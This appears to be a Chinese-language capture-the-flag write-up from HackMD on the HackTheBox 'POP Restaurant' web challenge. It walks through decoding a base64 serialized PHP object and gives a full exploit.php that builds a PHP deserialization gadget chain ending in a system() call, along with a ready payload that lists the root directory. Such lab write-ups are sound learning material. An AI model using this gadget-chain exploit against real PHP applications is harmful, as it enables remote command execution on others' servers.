# 前言 因為想做web相關的題目 所以來HTB找challenges 先找Easy與very easy > 目前實力可能連very easy都無法不抄作業自己解出來 再由評價高低排序 > 想說先做評價高的XD 所以找到這題,開動~ # 實作 主要參考資料,感謝前輩分享 https://medium.com/@abdallahomaratya0/pop-restaurant-challenge-htb-b10989577596 這次有先靠自己找到可疑點POST ```html!= <form action="order.php" method="POST"> <input type="hidden" name="data" value="Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO047fQ=="> <button type="submit" class="order__button"> <img src="Static/Images/Pizza.gif" alt="Pizza"> Order Pizza </button> </form> ``` 其中看了文章才知道這串base64可以拿去解碼 ``` Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO047fQ== 解碼後得到: O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";N;} ``` 接下來就可進入PHP階段,詳細可參考[文獻](https://medium.com/@abdallahomaratya0/pop-restaurant-challenge-htb-b10989577596) * 第一個難關 我沒寫過PHP 所以用AI些查一下如何在kali執行PHP 簡單創建一個php檔案,EX: exploit.php,內容如下 ```php!= <?php echo "Hello, Kali!\n"; ?> ``` 透過以下命令即可執行 ```bash!= └─$ php exploit.php Hello, Kali! ``` * 第二個難關 看不懂怎麼得到此題的base64編碼 原來只要模擬出Model內的Class 在使用helpers的class 組合出`exploit.php` 透過PHP直接輸出payload 也紀錄一下最後的code ```php!= <?php require_once 'Helpers/ArrayHelpers.php'; class Pizza { public $price; public $cheese; public $size; public function __destruct() { echo $this->size->what; } } class Spaghetti { public $sauce; public $noodles; public $portion; public function __get($tomato) { ($this->sauce)(); } } class IceCream { public $flavors; public $topping; public function __invoke() { foreach ($this->flavors as $flavor) { echo $flavor; } } } use Helpers\ArrayHelpers; $ArrayHelpers = new ArrayHelpers(['ls -la /']); $ArrayHelpers->callback = 'system'; $IceCream = new IceCream(); $IceCream->flavors = $ArrayHelpers; $Spaghetti = new Spaghetti(); $Spaghetti->sauce = $IceCream; $Pizza = new Pizza(); $Pizza->size = $Spaghetti; $serialize = serialize($Pizza); echo $serialize . "\n"; echo base64_encode($serialize) . "\n"; ?> ``` 其中helpers我是用challenge內的所以exploit.php要放在對應位置,或是寫一個新的helper.php也行 ` require_once 'Helpers/ArrayHelpers.php';` 當初namespace也讓我卡了一陣子,後來問AI 才知道要分兩個php寫,不然就是要擺在第一行 * 第三個難關 成功執行System指令,但卻找不到flag在哪 ``` $ArrayHelpers = new ArrayHelpers(['ls -la']); ``` 找遍上一層下一層好幾層的資料夾都沒有 後來才知道原來`/`是根目錄的意思 所以直接掃根目錄就找到flag.txt了XD 附上掃根目錄的payload,加密成base64即可使用 ``` O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:8:"ls -la /";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}} ```  # 心得 中間透過AI了解此題解題的原理 大概理解是透過class一層一層的堆疊觸發最後的system命令 但因為沒寫過php所以只理解個皮毛QQ 還有不知為何F12>Resend POST沒辦法得到JSON的response都是HTML網頁 後來用burpsuite的repeater才搞定 後續有機會再回頭深入了解 感謝收看,歡迎討論
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up